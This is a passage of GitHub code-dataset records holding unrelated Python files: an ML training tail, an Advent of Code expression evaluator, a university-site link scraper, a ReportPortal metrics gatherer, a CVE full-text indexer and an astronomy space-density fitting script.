print(f'\\tTrain Loss: {train_loss:.3f} | Train PPL: {math.exp(train_loss):7.3f}')\n        # print(f'\\t Val. Loss: {valid_loss:.3f} |  Val. PPL: {math.exp(valid_loss):7.3f}')\n    \n    model.load_state_dict(torch.load('test-model.pt'))\n\n    test_loss = evaluate(model, Train_data.src_eva, Train_data.trg_eva, criterion, batch_size)\n\n    print(f'| Test Loss: {test_loss:.3f} | Test PPL: {math.exp(test_loss):7.3f} |')","repo_name":"Yaoyao-Xu/RNN_protein2Caption","sub_path":"train_model.py","file_name":"train_model.py","file_ext":"py","file_size_in_byte":7956,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"1391658697","text":"#!/usr/bin/env python3\n\n\ndef compute(expr, second):\n    nums = []\n    ops = []\n    i = 0\n    while i < len(expr):\n        c = expr[i]\n        i += 1\n        if c == '(':\n            j, c = compute(expr[i:], second)\n            i += j\n        elif c == ')':\n            if second:\n                while len(nums) > 1:\n                    nums.append(nums.pop() * nums.pop())\n            return i, str(nums[0])\n        if c.isdigit():  # c becomes a number if it was '('\n            nums.append(int(c))\n            if len(nums) > 1:\n                if ops[-1] == '+':\n                    nums.append(nums.pop() + nums.pop())\n                    ops.pop()\n                elif not second:\n                    nums.append(nums.pop() * nums.pop())\n                    ops.pop()\n        else:\n            ops.append(c)\n    return nums[0]\n\n\n# alternative method: infix to postfix, then evaluate\ndef compute2(expression, second):\n    # translate from infix to postfix\n    if second:\n        max_prec = '(+'\n        min_prec = '*'\n    else:\n        max_prec = '('\n        min_prec = '+*'\n    operators = []\n    postfixed = []\n    for c in expression:\n        if c.isdigit():\n            postfixed.append(int(c))\n        elif c in max_prec:\n            operators.append(c)\n        elif c in min_prec:\n            if operators:\n                to_out = operators.pop()\n                while to_out not in ('(', None):\n                    postfixed.append(to_out)\n                    to_out = operators.pop() if operators else None\n                if to_out:\n                    operators.append(to_out)\n            operators.append(c)\n        elif c == ')':\n            to_out = operators.pop()\n            while to_out != '(':\n                postfixed.append(to_out)\n                to_out = operators.pop()\n    while operators:\n        postfixed.append(operators.pop())\n    # evaluate postfix expression\n    operands = []\n    for c in postfixed:\n        if isinstance(c, int):\n            operands.append(c)\n        else:\n            op2 = operands.pop()\n            op1 = operands.pop()\n            operands.append(op1 * op2 if c == '*' else op1 + op2)\n    return operands.pop()\n\n\ndef run():\n    with open('input.txt') as fh:\n        lines = ['('+line.strip().replace(' ', '')+')' for line in fh]\n\n    print(sum(compute(line, False) for line in lines))\n    print(sum(compute(line, True) for line in lines))\n\n\nif __name__ == '__main__':\n    run()\n","repo_name":"wrCisco/adventcode2020","sub_path":"day18/day18.py","file_name":"day18.py","file_ext":"py","file_size_in_byte":2439,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"21940840384","text":"import requests\nimport pickle\n\nfrom helpers.lookups import Url, Path\nfrom bs4 import BeautifulSoup\nfrom urllib.parse import urlparse\n\n\nclass LinksScraper():\n\n    def __init__(self, links_file):\n        self.links_file = links_file\n\n    def gather_links(self, depth):\n        \"\"\" \n        Gather all the links we want to scrape data from to train our bot \n        \n        Arguments:\n            depth: depth of links scraping (1 equals scraping links from the sublinks only)\n\n        \"\"\"\n\n        # Get the institutions links since they don't have a main page\n        institutions_links = self.get_institutions_links()\n\n        # Open links file to scrape\n        with open(self.links_file.value, 'r') as file:\n            links = [line.strip() for line in file]\n\n        links = set(links)\n        links_to_scrape = set(links.union(institutions_links))\n\n        # Gather all the links of the website\n        total_links = set()\n        for i in range(0, depth):\n            current_links = links_to_scrape.copy()\n            links_to_scrape = set()\n            for link in current_links:\n                if link[len(link) - 1] == \"/\":\n                    link = link[:-1]\n                # if it is a new link we haven't scraped yet\n                if link not in total_links:\n                    # add link to all the links\n                    total_links.add(link)\n                    try:\n                        response = requests.get(link)\n                        soup = BeautifulSoup(response.content, \"html.parser\")\n                        new_links = self.gather_sublinks(link, soup)\n                        for n_link in new_links:\n                            if n_link not in total_links and n_link not in current_links:\n                                links_to_scrape.add(n_link)\n                    except Exception as e:\n                        print(\"Error Description:\", str(e))\n\n        total_links = total_links.union(links_to_scrape)\n\n        # Write to file to avoid scraping every time\n        with open(Path.ScrapedLinks.value, 'wb') as file:\n            pickle.dump(total_links, file)\n\n        return total_links\n\n    def get_institutions_links(self):\n        \"\"\" Get the institutions links \"\"\"\n\n        response = requests.get(Url.USJ.value)\n        soup = BeautifulSoup(response.content, \"html.parser\")\n\n        li_elements = soup.find_all('li', class_='rs-mega-menu mega-rs')\n\n        # Search for the Institution in the menu bar\n        target_li_element = None\n        for li_element in li_elements:\n            a_element = li_element.find('a', string='Institutions')\n            if a_element:\n                target_li_element = li_element\n                break\n\n        href_links = set()\n        if target_li_element:\n            anchor_tags = target_li_element.find_all('a')\n            for tag in anchor_tags:\n                href = tag.get(\"href\")\n                if href and \"https\" in href:\n                    href = urlparse(href).netloc.split(\".\")[0]\n                    href_links.add(Url.USJ.value + \"/\" + href)\n\n        return href_links\n\n    def gather_sublinks(self, main_link, soup):\n        \"\"\"Gather links from the body only (ignore header and footer)\"\"\"\n\n        links = set()\n\n        # Find the body element and exclude the footer\n        body_with_footer = soup.find(\"div\", id=\"rs-about\")\n        if body_with_footer:\n            footer_element = body_with_footer.find(\"footer\", id=\"rs-footer\")\n            if footer_element:\n                footer_element.decompose()  # Remove the footer element from the DOM\n\n        body = body_with_footer\n        # Gather links from the modified body element\n        for link in body.find_all(\"a\"):\n            href = link.get(\"href\")\n            if href:\n                if \"http\" in href or \"javascript\" in href:\n                    None\n                elif href.startswith(\"https\"):\n                    links.add(href)\n                elif href.startswith(\"/\"):\n                    new_main_link = main_link.rsplit(\"/\", 1)[0]\n                    links.add(new_main_link + href)\n                elif href.startswith(\"../\"):\n                    new_main_link = main_link.rsplit(\"/\", 1)[0]\n                    links.add(new_main_link + href[2:])\n                elif href.startswith(\"./\"):\n                    links.add(main_link + href[1:])\n                elif \".php\" in href:\n                    links.add(main_link + \"/\" + href)\n                else:\n                    None                \n\n        return links\n","repo_name":"tanios13/Chatbot","sub_path":"web_scraping/links_scraping.py","file_name":"links_scraping.py","file_ext":"py","file_size_in_byte":4510,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"36210257352","text":"import json\nimport tempfile\n\nfrom tracing.value import add_shared_diagnostic\n\ndef AddDeviceInfo(histograms_json_filename, chrome_version, os_name, os_version,\n                  gpu_info, arch, ram):\n  device_info = {\n      'chromeVersion': chrome_version,\n      'osName': os_name,\n      'osVersion': os_version,\n      'gpuInfo': gpu_info,\n      'arch': arch,\n      'ram': ram,\n  }\n\n  with tempfile.NamedTemporaryFile() as diagnostic_file:\n    json.dump(device_info, diagnostic_file)\n    return add_shared_diagnostic.AddSharedDiagnostic(\n        histograms_json_filename, 'device', diagnostic_file.name)\n","repo_name":"martyr-deepin/qcef-chromium","sub_path":"src/third_party/catapult/tracing/tracing/value/add_device_info.py","file_name":"add_device_info.py","file_ext":"py","file_size_in_byte":603,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"}
+{"seq_id":"16834276123","text":"from neuralnet import *\nfrom matwrap import *\nfrom numeric import *\nimport numpy as np\nfrom scipy.optimize import minimize\n\n# Wrapper class over function and backprop that scipy.optimize.minimize can understand\nclass opti_wrapper(object):\n    def __init__(self, net, invecs, teachers, cost):\n        self.net = net\n        self.costfunc = cost\n        self.invecs = invecs\n        self.teachers = teachers\n\n    def __call__(self,paramlist):\n        # parameter update\n        for i in range (0, len(paramlist)):\n            (isw, tup) = self.net.flatparams.offset_to_coord(i)\n            if (isw):\n                (l, j, k) = tup\n                self.net.set_weight(l, (j,k), paramlist[i])\n            else:\n                (l, j) = tup\n                self.net.set_bias(l, j, paramlist[i])\n        self.net.refresh_regcost() \n        # cost computation\n        ffres_set = []\n        accucost = 0\n        for i in range (0, len(self.invecs)):\n            teacher = self.teachers[i]\n            invec = self.invecs[i]\n            ffres = self.net.feed_forward(invec)\n            ffres_set.append(ffres)\n            netout = ffres[len(ffres) - 1]\n            thiscost = self.costfunc(teacher, netout) \n            accucost += thiscost\n        accucost += self.net.regcost\n        accucost /= len(self.invecs)\n        # gradient computation\n        # print (\"%f\" % accucost)\n        grads = self.net.train(self.invecs, self.teachers, ffres_set).backing\n        return (accucost, grads)\n\n\ndef do_optimise (net, invecs, teachers, cost = xentro()):\n    ow = opti_wrapper(net, invecs, teachers, cost)\n    fmin = minimize (fun = ow, x0 = net.flatparams.backing, method='TNC', jac=True, options={'maxiter': 500})\n    return fmin\n","repo_name":"QiweiWen/nnfpga","sub_path":"sw_prototype/ffnetwork/optimise.py","file_name":"optimise.py","file_ext":"py","file_size_in_byte":1721,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"20167705452","text":"import datetime\nimport logging\nfrom time import time\n\nfrom sklearn.metrics import f1_score, accuracy_score\n\nfrom app.commons import es_client\nfrom app.commons import models_remover\nfrom app.commons import postgres_dao\nfrom app.utils import text_processing\n\nlogger = logging.getLogger(\"metricsGatherer.metrics_gatherer\")\n\n\nclass MetricsGatherer:\n\n    def __init__(self, app_settings):\n        self.app_settings = app_settings\n        self.postgres_dao = postgres_dao.PostgresDAO(app_settings)\n        self.es_client = es_client.EsClient(\n            esHost=app_settings[\"esHost\"],\n            grafanaHost=app_settings[\"grafanaHost\"],\n            app_config=app_settings)\n        self.models_remover = models_remover.ModelsRemover(app_settings)\n\n    def get_current_date_template(self, project_id, project_name, cur_date):\n        return {\"on\": 0, \"changed_type\": 0, \"AA_analyzed\": 0,\n                \"f1-score\": 0, \"accuracy\": 0,\n                \"launch_analyzed\": 0,\n                \"manually_analyzed\": 0, \"project_id\": project_id,\n                \"project_name\": project_name, \"gather_date\": cur_date.date().strftime(\"%Y-%m-%d\"),\n                \"gather_datetime\": cur_date.strftime(\"%Y-%m-%d %H:%M:%S\"),\n                \"percent_not_found_aa\": 0, \"avg_processing_time_only_found_test_item_aa\": 0.0,\n                \"avg_processing_time_test_item_aa\": 0.0, \"percent_not_found_suggest\": 0,\n                \"avg_processing_time_test_item_suggest\": 0.0,\n                \"avg_processing_time_test_item_cluster\": 0.0,\n                \"launch_added\": 0,\n                \"percent_not_found_cluster\": 0,\n                \"module_version\": [],\n                \"model_info\": [],\n                \"errors\": [],\n                \"errors_count\": 0}\n\n    def replace_issue_type_with_code(self, val, issue_types_dict):\n        new_issue_value = val\n        if new_issue_value in issue_types_dict:\n            new_issue_value = issue_types_dict[new_issue_value]\n        return new_issue_value\n\n    def derive_item_activity_chain(self, activities, issue_types_dict):\n        item_chain = {}\n        for record in activities:\n            if record[\"action\"] == \"analyzeItem\":\n                if record[\"object_id\"] not in item_chain:\n                    item_chain[record[\"object_id\"]] = []\n                for r in record[\"details\"][\"history\"]:\n                    if r[\"field\"] == 'issueType':\n                        item_chain[record[\"object_id\"]].append(\n                            (\"analyze\", self.replace_issue_type_with_code(r[\"newValue\"], issue_types_dict)))\n            if record[\"action\"] == \"updateItem\":\n                if record[\"object_id\"] not in item_chain:\n                    item_chain[record[\"object_id\"]] = []\n                for r in record[\"details\"][\"history\"]:\n                    if r[\"field\"] == 'issueType':\n                        item_chain[record[\"object_id\"]].append(\n                            (\"manual\",\n                             self.replace_issue_type_with_code(r[\"newValue\"], issue_types_dict),\n                             self.replace_issue_type_with_code(r[\"oldValue\"], issue_types_dict)))\n        return item_chain\n\n    def calculate_metrics(self, item_chain, cur_date_results):\n        cnt_changed = 0\n        cnt_all_analyzed = 0\n        analyzed_test_item_types = []\n        real_test_item_types = []\n        unique_launch_ids = set()\n        manually_analyzed_cnt = 0\n        for item in item_chain:\n            was_analyzed = False\n            analyzed_test_item_type = None\n            real_test_item_type = None\n            for idx in range(len(item_chain[item])):\n                action = item_chain[item][idx]\n                if action[0] == \"manual\" and action[2][:2].lower() == \"ti\":\n                    manually_analyzed_cnt += 1\n                if action[0] == \"manual\" and (action[1][:2].lower() == \"ti\" or action[2][:2].lower() == \"ti\"):\n                    continue\n                if action[0] == \"analyze\":\n                    was_analyzed = True\n                if was_analyzed and action[0] == \"manual\":\n                    cnt_changed += 1\n                    break\n            for idx in range(len(item_chain[item])):\n                action = item_chain[item][idx]\n                if action[0] == \"analyze\":\n                    analyzed_test_item_type = action[1]\n                    real_test_item_type = None\n                if was_analyzed and action[0] == \"manual\":\n                    real_test_item_type = action[1]\n            if was_analyzed:\n                cnt_all_analyzed += 1\n                launch_id = self.postgres_dao.get_launch_id(item)\n                if launch_id:\n                    unique_launch_ids.add(launch_id)\n            if analyzed_test_item_type is None:\n                continue\n            analyzed_test_item_types.append(analyzed_test_item_type)\n            if real_test_item_type is not None:\n                real_test_item_types.append(real_test_item_type)\n            else:\n                real_test_item_types.append(analyzed_test_item_type)\n        cur_date_results[\"AA_analyzed\"] = cnt_all_analyzed\n        cur_date_results[\"changed_type\"] = cnt_changed\n        cur_date_results[\"launch_analyzed\"] = max(\n            len(unique_launch_ids), cur_date_results[\"launch_analyzed\"])\n        cur_date_results[\"manually_analyzed\"] = manually_analyzed_cnt\n        cur_date_results = self.calculate_accuracy_f1_score(\n            real_test_item_types, analyzed_test_item_types, cur_date_results)\n        return cur_date_results\n\n    def calculate_accuracy_f1_score(\n            self, real_test_item_types, analyzed_test_item_types, cur_date_results):\n        if not analyzed_test_item_types:\n            cur_date_results[\"accuracy\"] = 100\n            cur_date_results[\"f1-score\"] = 100\n        else:\n            cur_date_results[\"accuracy\"] = round(accuracy_score(\n                y_true=real_test_item_types, y_pred=analyzed_test_item_types), 2) * 100\n            cur_date_results[\"f1-score\"] = round(f1_score(\n                y_true=real_test_item_types, y_pred=analyzed_test_item_types,\n                average=\"macro\"), 2) * 100\n        return cur_date_results\n\n    def calculate_rp_stats_metrics(self, cur_date_results, project_id, cur_date):\n        week_earlier = cur_date - datetime.timedelta(days=7)\n        cur_tommorow = cur_date + datetime.timedelta(days=1)\n        all_activities = self.es_client.get_activities(project_id, week_earlier, cur_tommorow)\n        activities_res = {}\n        unique_analyzed_launch_ids = set()\n        for res in all_activities:\n            if res[\"_source\"][\"method\"] not in activities_res:\n                activities_res[res[\"_source\"][\"method\"]] = {\n                    \"percent_not_found\": 0, \"count\": 0,\n                    \"avg_time_only_found_test_item_processed\": 0.0,\n                    \"avg_time_test_item_processed\": 0.0,\n                    \"model_info\": [],\n                    \"module_version\": [],\n                    \"errors\": [],\n                    \"errors_count\": 0}\n            if res[\"_source\"][\"items_to_process\"] == 0:\n                continue\n            if res[\"_source\"][\"method\"] == \"auto_analysis\":\n                unique_analyzed_launch_ids.add(res[\"_source\"][\"launch_id\"])\n            method_activity = activities_res[res[\"_source\"][\"method\"]]\n            percent_not_found = round(\n                res[\"_source\"][\"not_found\"] / res[\"_source\"][\"items_to_process\"], 2) * 100\n            method_activity[\"percent_not_found\"] += percent_not_found\n            method_activity[\"count\"] += 1\n            processed_fully = res[\"_source\"][\"items_to_process\"] - res[\"_source\"][\"not_found\"]\n            if processed_fully == 0:\n                processed_fully = 1\n            avg_time_only_found = round(res[\"_source\"][\"processed_time\"] / processed_fully, 2)\n            avg_time_all = round(res[\"_source\"][\"processed_time\"] / res[\"_source\"][\"items_to_process\"], 2)\n            method_activity[\"avg_time_only_found_test_item_processed\"] += avg_time_only_found\n            method_activity[\"avg_time_test_item_processed\"] += avg_time_all\n            if \"model_info\" in res[\"_source\"]:\n                method_activity[\"model_info\"].extend(res[\"_source\"][\"model_info\"])\n            if \"module_version\" in res[\"_source\"]:\n                method_activity[\"module_version\"].extend(res[\"_source\"][\"module_version\"])\n            if \"errors\" in res[\"_source\"]:\n                method_activity[\"errors\"].extend(res[\"_source\"][\"errors\"])\n            if \"errors_count\" in res[\"_source\"]:\n                method_activity[\"errors_count\"] += res[\"_source\"][\"errors_count\"]\n        for action_res, action_val in activities_res.items():\n            for column in [\"model_info\", \"module_version\", \"errors\", \"errors_count\"]:\n                default_obj = 0\n                if type(action_val[column]) == list:\n                    default_obj = []\n                if column not in cur_date_results:\n                    cur_date_results[column] = default_obj\n                if type(action_val[column]) == list:\n                    cur_date_results[column].extend(action_val[column])\n                if type(action_val[column]) == int:\n                    cur_date_results[column] += action_val[column]\n            if action_val[\"count\"] == 0:\n                continue\n            percent_not_found = round(action_val[\"percent_not_found\"] / action_val[\"count\"], 0)\n            all_avg_time = round(action_val[\"avg_time_test_item_processed\"] / action_val[\"count\"], 2)\n            if action_res == \"auto_analysis\":\n                cur_date_results[\"percent_not_found_aa\"] = percent_not_found\n                avg_time = round(\n                    action_val[\"avg_time_only_found_test_item_processed\"] / action_val[\"count\"], 2)\n                cur_date_results[\"avg_processing_time_only_found_test_item_aa\"] = avg_time\n                cur_date_results[\"avg_processing_time_test_item_aa\"] = all_avg_time\n            if action_res == \"suggest\":\n                cur_date_results[\"percent_not_found_suggest\"] = percent_not_found\n                cur_date_results[\"avg_processing_time_test_item_suggest\"] = all_avg_time\n            if action_res == \"find_clusters\":\n                cur_date_results[\"percent_not_found_cluster\"] = percent_not_found\n                cur_date_results[\"avg_processing_time_test_item_cluster\"] = all_avg_time\n        for column in [\"model_info\", \"module_version\"]:\n            cur_date_results[column] = list(set(cur_date_results[column]))\n        cur_date_results[\"launch_analyzed\"] = len(unique_analyzed_launch_ids)\n        return cur_date_results\n\n    def gather_metrics_by_project(self, project_id, project_name, cur_date):\n        week_earlier = cur_date - datetime.timedelta(days=7)\n        cur_tommorow = cur_date + datetime.timedelta(days=1)\n        is_aa_enabled = self.postgres_dao.is_auto_analysis_enabled_for_project(project_id)\n        cur_date_results = self.get_current_date_template(project_id, project_name, cur_date)\n        cur_date_results[\"on\"] = int(is_aa_enabled)\n        cur_date_results = self.calculate_rp_stats_metrics(cur_date_results, project_id, cur_date)\n        activities = self.postgres_dao.get_activities_by_project(project_id, week_earlier, cur_tommorow)\n        issue_types_dict = self.postgres_dao.get_issue_type_dict(project_id)\n        item_chain = self.derive_item_activity_chain(activities, issue_types_dict)\n        cur_date_results = self.calculate_metrics(item_chain, cur_date_results)\n        all_launch_ids = self.postgres_dao.get_all_unique_launch_ids(\n            project_id, week_earlier, cur_tommorow)\n        cur_date_results[\"launch_added\"] = len(all_launch_ids)\n        return cur_date_results\n\n    def find_sequence_of_aa_enability(self, project_id, cur_date, project_aa_states):\n        week_earlier = cur_date - datetime.timedelta(days=7)\n        cur_tommorow = cur_date + datetime.timedelta(days=1)\n        activities = self.postgres_dao.get_activities_by_project(project_id, week_earlier, cur_tommorow)\n        for record in activities:\n            if record[\"action\"] == \"updateAnalyzer\":\n                for r in record[\"details\"][\"history\"]:\n                    if r[\"field\"] == 'analyzer.isAutoAnalyzerEnabled':\n                        creation_date = record[\"creation_date\"].date()\n                        is_enabled = int(r[\"newValue\"].lower() == \"true\")\n                        if creation_date not in project_aa_states:\n                            project_aa_states[creation_date] = (is_enabled, is_enabled)\n                        project_aa_states[creation_date] = (project_aa_states[creation_date][0], is_enabled)\n        return project_aa_states\n\n    def fill_right_aa_enable_states(self, gathered_rows, project_aa_states):\n        cur_state_ind = 0\n        sorted_dates = sorted(project_aa_states.items(), key=lambda x: x[0])\n        for row in gathered_rows:\n            while len(project_aa_states) > cur_state_ind:\n                gather_date = datetime.datetime.strptime(row[\"gather_date\"], '%Y-%m-%d').date()\n                if gather_date < sorted_dates[cur_state_ind][0]:\n                    row[\"on\"] = 1 - sorted_dates[cur_state_ind][1][0]\n                    break\n                elif gather_date == sorted_dates[cur_state_ind][0]:\n                    row[\"on\"] = sorted_dates[cur_state_ind][1][1]\n                    cur_state_ind += 1\n                else:\n                    cur_state_ind += 1\n        return gathered_rows\n\n    def gather_metrics(self, period_start, period_end):\n        all_projects = self.postgres_dao.get_all_projects()\n        start_time = time()\n        for project_info in all_projects:\n            start_project_time = time()\n            try:\n                project_id = project_info[\"id\"]\n                project_name = project_info[\"name\"]\n                project_with_prefix = text_processing.unite_project_name(\n                    str(project_id), self.app_settings[\"esProjectIndexPrefix\"])\n                if not self.es_client.index_exists(project_with_prefix, print_error=False):\n                    continue\n                gathered_rows = []\n                project_aa_states = {}\n                for st_date_day in range((period_end - period_start).days + 1):\n                    cur_date = period_start + datetime.timedelta(days=st_date_day)\n                    cur_date_row_id = \"%s_%s\" % (project_id, cur_date.date().strftime(\"%Y-%m-%d\"))\n                    if self.es_client.object_exists(self.es_client.main_index, cur_date_row_id):\n                        continue\n                    project_aa_states = self.find_sequence_of_aa_enability(\n                        project_id, cur_date, project_aa_states)\n                    gathered_row = self.gather_metrics_by_project(project_id, project_name, cur_date)\n                    gathered_rows.append(gathered_row)\n                gathered_rows = self.fill_right_aa_enable_states(gathered_rows, project_aa_states)\n                bulk_actions = [{\n                    '_id': \"%s_%s\" % (row[\"project_id\"], row[\"gather_date\"]),\n                    '_index': self.es_client.main_index,\n                    '_source': row,\n                } for row in gathered_rows]\n                self.es_client.bulk_index(self.es_client.main_index, bulk_actions)\n                if gathered_rows:\n                    self.models_remover.apply_remove_model_policies(project_id)\n            except Exception as err:\n                logger.error(\"Error occured for project %s\", project_info)\n                logger.error(err)\n            logger.debug(\"Project info %s gathering took %.2f s.\",\n                         project_info[\"id\"], time() - start_project_time)\n        logger.info(\"Finished gathering metrics for all projects for %.2f s.\", time() - start_time)\n","repo_name":"reportportal/service-metrics-gatherer","sub_path":"app/commons/metrics_gatherer.py","file_name":"metrics_gatherer.py","file_ext":"py","file_size_in_byte":15765,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"16405708082","text":"import pymongo\nimport os\nimport sys\nimport argparse\n\nsys.path.append(\"./lib/\")\nimport cves\n\nconnect = pymongo.Connection()\ndb = connect.cvedb\ncollection = db.cves\n\nargParser = argparse.ArgumentParser(description='Fulltext indexer for the MongoDB CVE collection')\nargParser.add_argument('-v', action='store_true', help='Verbose logging', default=False)\nargParser.add_argument('-l', help='Number of last entries to index', default=None)\nargParser.add_argument('-n', action='store_true', help='lookup complete cpe (Common Platform Enumeration) name for vulnerable configuration to add in the index', default=False)\nargs = argParser.parse_args()\n\nc = cves.last(namelookup = args.n)\n\nindexpath = \"./indexdir\"\n\nfrom whoosh.index import create_in, exists_in, open_dir\nfrom whoosh.fields import *\n\nschema = Schema(title=TEXT(stored=True), path=ID(stored=True,unique=True), content=TEXT)\n\nif not os.path.exists(indexpath):\n    os.mkdir(indexpath)\n\nif not exists_in(\"indexdir\"):\n    ix = create_in(\"indexdir\", schema)\nelse:\n    ix = open_dir(\"indexdir\")\n\ndef dumpallcveid (entry=None):\n    cveid = []\n    if entry is None:\n        for x in collection.find({}).sort('_id',1):\n            cveid.append(x['id'])\n    else:\n        for x in collection.find({}).sort(\"Modified\",-1).limit(int(entry)):\n            cveid.append(x['id'])\n    return cveid\n\ndef getcve (cveid=None):\n    if cveid is None:\n        return False\n    return collection.find_one({'id': cveid})\n\nfor cveid in dumpallcveid(entry=args.l):\n    writer = ix.writer()\n    item = getcve(cveid=cveid)\n    title = item['summary'][0:70]\n    if args.n:\n        for v in item['vulnerable_configuration']:\n            cpe = c.getcpe(cpeid=v).strip('\\n')\n            item['summary'] += \" \"+cpe\n    if args.v:\n        print ('Indexing CVE-ID '+ str(cveid)+' '+ title)\n    writer.update_document(title=title,path=cveid,content=item['summary'])\n    writer.commit()\n","repo_name":"PokerChichi/TidyMyKey","sub_path":"cve-search/db_fulltext.py","file_name":"db_fulltext.py","file_ext":"py","file_size_in_byte":1904,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"26515782487","text":"from nf_ea_common_tools_source.b_code.services.general.nf_ea.com.common_knowledge.collection_types.nf_ea_com_collection_types import NfEaComCollectionTypes\nfrom nf_ea_common_tools_source.b_code.services.general.nf_ea.com.common_knowledge.column_types.nf_ea_com_column_types import NfEaComColumnTypes\nfrom nf_ea_common_tools_source.b_code.services.general.nf_ea.com.nf_ea_com_universes import NfEaComUniverses\n\n\ndef remove_connector_by_name(\n        nf_ea_com_universe: NfEaComUniverses,\n        connector_name_to_delete: str) \\\n        -> None:\n    content_collections_dictionary = \\\n        nf_ea_com_universe.nf_ea_com_registry.dictionary_of_collections\n\n    connectors = \\\n        content_collections_dictionary[NfEaComCollectionTypes.EA_CONNECTORS]\n\n    filtered_connectors = \\\n        connectors[\n            connectors[NfEaComColumnTypes.EXPLICIT_OBJECTS_EA_OBJECT_NAME.column_name] != connector_name_to_delete]\n\n    content_collections_dictionary[NfEaComCollectionTypes.EA_CONNECTORS] = \\\n        filtered_connectors\n","repo_name":"boro-alpha/bclearer_boson_1_2","sub_path":"bclearer_boson_1_2_source/b_code/substages/operations/b_evolve/coordinate_points/connector_by_name_remover.py","file_name":"connector_by_name_remover.py","file_ext":"py","file_size_in_byte":1024,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"38071183212","text":"''' Current functions used to calculate the scale height of the different\n    Milky Way structural components. Includes reading in of current C3/C6\n    input files (w/ spectro and w/o spectro parameters).\n    Edited: 22/01/2018; Ben Rendle '''\n\n\nimport pandas as pd\nimport numpy as np\nimport matplotlib\nimport matplotlib.pyplot as plt\nimport scipy.odr.odrpack as odrpack\n\ndef space_density(obs):\n    ''' Calculate the space density for a given band above the Galactic plane '''\n    # obs['Zabs'] = np.abs(obs['Z'])\n    a = min(obs['Z'])\n    b = max(obs['Z'])\n    theta = 0.5*np.sqrt(116)\n    t_theta = np.tan(theta*(np.pi/180))**2\n    bins = np.linspace(np.log10(100),np.log10(5000),19)\n    Z = np.log10(np.abs(obs['Z'])*1000)\n    hist, bin_edges = np.histogram(Z, bins = bins)\n    # print(bin_edges)\n    # print(hist)\n    volume = []\n    # volume of square based pyramid section\n    for i in range(len(bin_edges)-1):\n        V1 = (4*t_theta*(10**bin_edges[i])**3)/3\n        V2 = (4*t_theta*(10**bin_edges[i+1])**3)/3\n        Vol = V2 - V1\n        volume.append(Vol)\n    # volume of cube\n    # for i in range(len(bin_edges)-1):\n    #     V1 = (2*np.sqrt(t_theta)*10**max(bin_edges))**2 * (10**(bin_edges[i+1]) - 10**(bin_edges[i]))\n    #     volume.append(V1)\n    rho = []\n    rho10 = np.zeros(len(volume))\n    for i in range(len(volume)):\n        density = hist[i]/volume[i]\n        rho10[i] = density\n        rho.append(np.log10(density)) # In units number of stars/pc^3\n\n    print(rho)\n    bin_10 = 10**bin_edges[1:]\n    print( len(bin_10), len(rho10))\n    ''' Least squares fitting '''\n    def f(Par,z):\n        return Par[0]*np.exp(-z/Par[1])\n    mpar, cpar, empar, ecpar = [], [], [], []\n    linear = odrpack.Model(f)\n    mydata = odrpack.RealData(bin_10[5:12], rho10[5:12])#, sy=df2['feh_err'])\n    myodr = odrpack.ODR(mydata, linear, beta0=[1e-3, 500],maxit=20000)\n    myoutput = myodr.run()\n    mpar.append(myoutput.beta[0])\n    cpar.append(myoutput.beta[1])\n    empar.append(myoutput.sd_beta[0])\n    ecpar.append(myoutput.sd_beta[1])\n    # myoutput.pprint()\n\n    b = bin_10[14:]\n    b = np.delete(b,[1])\n    r = rho10[14:]\n    r = np.delete(r,[1])\n    def f1(Par,z):\n        return Par[0]*np.exp(-z/Par[1])\n    mpar1, cpar1, empar1, ecpar1 = [], [], [], []\n    linear1 = odrpack.Model(f1)\n    mydata1 = odrpack.RealData(b, r)#, sy=df2['feh_err'])\n    myodr1 = odrpack.ODR(mydata1, linear1, beta0=[5e-4, 1000],maxit=20000)\n    myoutput1 = myodr1.run()\n    mpar1.append(myoutput1.beta[0])\n    cpar1.append(myoutput1.beta[1])\n    empar1.append(myoutput1.sd_beta[0])\n    ecpar1.append(myoutput1.sd_beta[1])\n    # myoutput1.pprint()\n\n    # def f2(Par,z):\n    #     return Par[0]*np.exp(-z/Par[1])\n    # mpar2, cpar2, empar2, ecpar2 = [], [], [], []\n    # linear2 = odrpack.Model(f2)\n    # mydata2 = odrpack.RealData(bin_10[4:], rho10[4:])#, sy=df2['feh_err'])\n    # myodr2 = odrpack.ODR(mydata2, linear2, beta0=[1e-4, 600],maxit=20000)\n    # myoutput2 = myodr2.run()\n    # mpar2.append(myoutput2.beta[0])\n    # cpar2.append(myoutput2.beta[1])\n    # empar2.append(myoutput2.sd_beta[0])\n    # ecpar2.append(myoutput2.sd_beta[1])\n    # myoutput2.pprint()\n\n    plt.figure()\n    plt.scatter(bin_10,rho)\n    plt.scatter(bin_10[5:12],rho[5:12],color='r')\n    plt.scatter(bin_10[13:],rho[13:],color='y')\n    # plt.scatter(b,np.log10(r))\n    plt.plot(bin_10,np.log10(myoutput.beta[0]*np.exp(-bin_10/myoutput.beta[1])),color='orange', \\\n            label=r'$\\rho_{0} =$ %.4g pc$^{-3}$, H$_{\\rm{z}} = $ %.4g pc'%(mpar[0],cpar[0]))\n    plt.plot(bin_10,np.log10(myoutput1.beta[0]*np.exp(-bin_10/myoutput1.beta[1])),color='orange',linestyle='--', \\\n            label=r'$\\rho_{0} =$ %.4g pc$^{-3}$, H$_{\\rm{z}} = $ %.4g pc'%(mpar1[0],cpar1[0]))\n    plt.ylim(-7.75,-3.75)\n    plt.xlim(100, 5100)\n    plt.tick_params(labelsize=15)\n    plt.ylabel(r'Log Space Density',fontsize=20)\n    plt.xlabel(r'Z [pc]',fontsize=20)\n    plt.legend(prop={'size':10})\n    plt.tight_layout()\n    # plt.savefig('/home/bmr135/Dropbox/K2Poles/pop_trends/211117/C3_Gilmore_Reid.png')\n    # plt.show()\n\ndef space_density2(obs):\n    ''' Improved calculation of the volume for determining the space density '''\n   